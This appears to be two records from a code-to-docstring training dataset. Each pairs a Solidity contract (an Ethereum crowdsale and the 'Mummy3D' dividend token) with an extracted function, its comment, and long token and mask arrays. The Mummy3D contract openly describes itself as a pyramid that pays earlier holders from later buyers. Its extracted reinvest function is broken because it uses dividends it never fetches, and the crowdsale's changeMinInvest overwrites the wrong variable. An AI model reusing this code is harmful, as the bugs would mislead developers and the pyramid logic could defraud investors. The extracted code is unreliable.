/** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. */ library SafeERC20 { function safeTransfer( ERC20 _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract PercentRateProvider {} contract PercentRateFeature is Ownable, PercentRateProvider {} contract InvestedProvider is Ownable {} contract WalletProvider is Ownable {} contract RetrieveTokensFeature is Ownable {} contract TokenProvider is Ownable {} contract MintTokensInterface is TokenProvider {} contract MintTokensFeature is MintTokensInterface {} contract CommonSale is PercentRateFeature, InvestedProvider, WalletProvider, RetrieveTokensFeature, MintTokensFeature { function mintTokensExternal(address, uint) public; } /** * @title CrowdsaleWPTByRounds * @dev This is an example of a fully fledged crowdsale. * The way to add new features to a base crowdsale is by multiple inheritance. * In this example we are providing following extensions: * CappedCrowdsale - sets a max boundary for raised funds * RefundableCrowdsale - set a min goal to be reached and returns funds if it's not met * * After adding multiple features it's good practice to run integration tests * to ensure that subcontracts works together as intended. */ // XXX There doesn't seem to be a way to split this line that keeps solium // happy. See: // https://github.com/duaraghav8/Solium/issues/205 // --elopio - 2018-05-10 // solium-disable-next-line max-len contract CrowdsaleWPTByRounds is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // Address of tokens minter CommonSale public minterContract; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. uint256 public rate; // Amount of tokens raised uint256 public tokensRaised; // Cap for current round uint256 public cap; // Time ranges for current round uint256 public openingTime; uint256 public closingTime; //Minimal value of investment uint public minInvestmentValue; /** * @dev Allows the owner to set the minter contract. * @param _minterAddr the minter address */ function setMinter(address _minterAddr) public onlyOwner { minterContract = CommonSale(_minterAddr); } /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor () public { rate = 400;//_rate; wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46; cap = 200000; openingTime = 1534558186; closingTime = 1535320800; minInvestmentValue = 0.02 ether; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return tokensRaised >= cap; } /** * @dev Correction of current rate. */ function changeRate(uint256 newRate) public onlyOwner { rate = newRate; } /** * @dev Close current round. */ function closeRound() public onlyOwner { closingTime = block.timestamp + 1; } /** * @dev Change minimal amount of investment. */ function changeMinInvest(uint256 newMinValue) public onlyOwner { rate = newMinValue; } /** * @dev Start new crowdsale round if already not started. */ function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner { require(!hasOpened()); rate = _rate; wallet = _wallet; token = _token; cap = _cap; openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Checks whether the period in which the crowdsale is open. * @return Whether crowdsale period has opened */ function hasOpened() public view returns (bool) { // solium-disable-next-line security/no-block-members return (openingTime < block.timestamp && block.timestamp < closingTime); } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () payable external { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) payable public{ uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state tokensRaised = tokensRaised.add(tokens); minterContract.mintTokensExternal(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _forwardFunds(); } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view onlyWhileOpen { require(_beneficiary != address(0)); require(_weiAmount != 0 && _weiAmount > minInvestmentValue); require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap); } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.safeTransfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } }
* @title SafeERC20 @dev Wrappers around ERC20 operations that throw on failure./
library SafeERC20 { function safeTransfer( ERC20 _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } }
1,109,916
[ 1, 9890, 654, 39, 3462, 225, 4266, 10422, 6740, 4232, 39, 3462, 5295, 716, 604, 603, 5166, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 14060, 654, 39, 3462, 288, 203, 225, 445, 4183, 5912, 12, 203, 565, 4232, 39, 3462, 389, 2316, 16, 203, 565, 1758, 389, 869, 16, 203, 565, 2254, 5034, 389, 1132, 203, 225, 262, 203, 565, 2713, 203, 225, 288, 203, 565, 2583, 24899, 2316, 18, 13866, 24899, 869, 16, 389, 1132, 10019, 203, 225, 289, 203, 203, 225, 445, 4183, 5912, 1265, 12, 203, 565, 4232, 39, 3462, 389, 2316, 16, 203, 565, 1758, 389, 2080, 16, 203, 565, 1758, 389, 869, 16, 203, 565, 2254, 5034, 389, 1132, 203, 225, 262, 203, 565, 2713, 203, 225, 288, 203, 565, 2583, 24899, 2316, 18, 13866, 1265, 24899, 2080, 16, 389, 869, 16, 389, 1132, 10019, 203, 225, 289, 203, 203, 225, 445, 4183, 12053, 537, 12, 203, 565, 4232, 39, 3462, 389, 2316, 16, 203, 565, 1758, 389, 87, 1302, 264, 16, 203, 565, 2254, 5034, 389, 1132, 203, 225, 262, 203, 565, 2713, 203, 225, 288, 203, 565, 2583, 24899, 2316, 18, 12908, 537, 24899, 87, 1302, 264, 16, 389, 1132, 10019, 203, 225, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; /* */ contract Mummy3D { /*================================= = MODIFIERS = =================================*/ // Dinamically controls transition between initial MummyAccount, only ambassadors, and public states modifier pyramidConstruct(bool applyLimits) { address _customerAddress = msg.sender; if (onlyAmbassadors && _customerAddress == _MummyAccount) { // Mummy account can only buy up to 2 ETH worth of tokens require( ambassadorsEthLedger_[_MummyAccount] < 2 ether && SafeMath.add(ambassadorsEthLedger_[_MummyAccount], msg.value) <= 2 ether ); } else if (onlyAmbassadors && ambassadors_[_customerAddress]) { // Ambassadors can buy up to 2 ETH worth of tokens only after mummy account reached 2 ETH and until balance in contract reaches 8 ETH require( ambassadorsEthLedger_[_MummyAccount] == 2 ether && ambassadorsEthLedger_[_customerAddress] < 2 ether && SafeMath.add(ambassadorsEthLedger_[_customerAddress], msg.value) <= 2 ether ); } else { // King Tut is put inside his sarchofagus forever require(!onlyAmbassadors && _customerAddress != _MummyAccount); // We apply limits only to buy and fallback functions if (applyLimits) require(msg.value <= limits()); } // We go public once we reach 8 ether in the contract if (address(this).balance >= 8 ether) onlyAmbassadors = false; // If all checked, you are allowed into the pyramid's chambers _; } // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onMummyAccountWitdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "Mummy3D"; string public symbol = "M3D"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 10; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake (defaults at 5 tokens) uint256 public stakingRequirement = 5e18; // King Tutankamon address _MummyAccount; // Initial ambassadors' state bool onlyAmbassadors = true; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => bool) internal ambassadors_; mapping(address => uint256) internal ambassadorsEthLedger_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /** * -- APPLICATION ENTRY POINTS -- */ constructor() public { // King Tut's address _MummyAccount = 0x52ebB47C11957cccD46C2E468Ac12E18ef501488; // add the ambassadors here. ambassadors_[0xd90A28901e0ecbffa33d6D1FF4F8924d35767444] = true; ambassadors_[0x5939DC3cA45d14232CedB2135b47A786225Be3e5] = true; ambassadors_[0xd5664B375a2f9dec93AA809Ae27f32bb9f2A2389] = true; } /** * Check contract state for the sender's address */ function checkState() public view returns (bool) { address _customerAddress = msg.sender; return (!onlyAmbassadors && _customerAddress != _MummyAccount) || (onlyAmbassadors && ( (_customerAddress == _MummyAccount && ambassadorsEthLedger_[_MummyAccount] < 2 ether) || (ambassadors_[_customerAddress] && ambassadorsEthLedger_[_MummyAccount] == 2 ether && ambassadorsEthLedger_[_customerAddress] < 2 ether) ) ); } /** * Limits before & after we go public */ function limits() public view returns (uint256) { // Ambassadors can initially buy up to 2 ether worth of tokens uint256 lim = 2e18; // when we go public, buy limits start at 1 ether if (!onlyAmbassadors) lim = 1e18; // after the contract's balance reaches 200 ether, buy limits = floor 1% of the contract's balance if (address(this).balance >= 200e18) lim = SafeMath.mul(SafeMath.div(SafeMath.div(address(this).balance, 1e18), 100), 1e18); // return lim; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) pyramidConstruct(true) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() pyramidConstruct(true) payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() pyramidConstruct(false) onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() pyramidConstruct(false) onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event emit onWithdraw(_customerAddress, _dividends); } /** * Break into Tut's tomb and steal all his treasure earnings. */ function MummyAccountWithdraw() onlyBagholders() public { // setup data address _customerAddress = msg.sender; // Can not get Tut's gold until we go public require(!onlyAmbassadors && _customerAddress != _MummyAccount); // check if the mummy account has dividends uint256 _dividends = dividendsOf(_MummyAccount); // lottery: get free mummy account's dividends when exist if (_dividends > 0 || referralBalance_[_MummyAccount] > 0) { // update dividend tracker payoutsTo_[_MummyAccount] += (int256) (_dividends * magnitude); // Yes, you also get the mummy account's referral dividends _dividends += referralBalance_[_MummyAccount]; referralBalance_[_MummyAccount] = 0; // Tut's gold delivery service _customerAddress.transfer(_dividends); } // always fire event emit onMummyAccountWitdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) pyramidConstruct(false) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * 0% fee transfers! */ function transfer(address _toAddress, uint256 _amountOfTokens) pyramidConstruct(false) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) // we improve P3D code by not allowing transfers to 0x0 address or self-transfers require( // is this a valid transfer address? _toAddress != 0x0000000000000000000000000000000000000000 && // no self-transfer _toAddress != _customerAddress && // and has enough tokens _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // 0% FEE exchange tokens! tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event emit Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return address(this).balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view internal // NEW Changed to internal to avoid bots checking MummyAccount's dividends returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater than" equation. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // Track King Tut's & ambassadors' ethereum invested during onlyAmbassadors state if (onlyAmbassadors && (_customerAddress == _MummyAccount || ambassadors_[_customerAddress])) ambassadorsEthLedger_[_customerAddress] = SafeMath.add(ambassadorsEthLedger_[_customerAddress], _incomingEthereum); // fire event emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
* Converts all of caller's dividends to tokens./ fetch dividends pay out the dividends virtually retrieve ref. bonus dispatch a buy order with the virtualized "withdrawn dividends" fire event
function reinvest() pyramidConstruct(false) onlyStronghands() public { address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); }
14,720,438
[ 1, 5692, 777, 434, 4894, 1807, 3739, 350, 5839, 358, 2430, 18, 19, 2158, 3739, 350, 5839, 8843, 596, 326, 3739, 350, 5839, 331, 2714, 3452, 4614, 1278, 18, 324, 22889, 3435, 279, 30143, 1353, 598, 326, 5024, 1235, 315, 1918, 9446, 82, 3739, 350, 5839, 6, 4452, 871, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
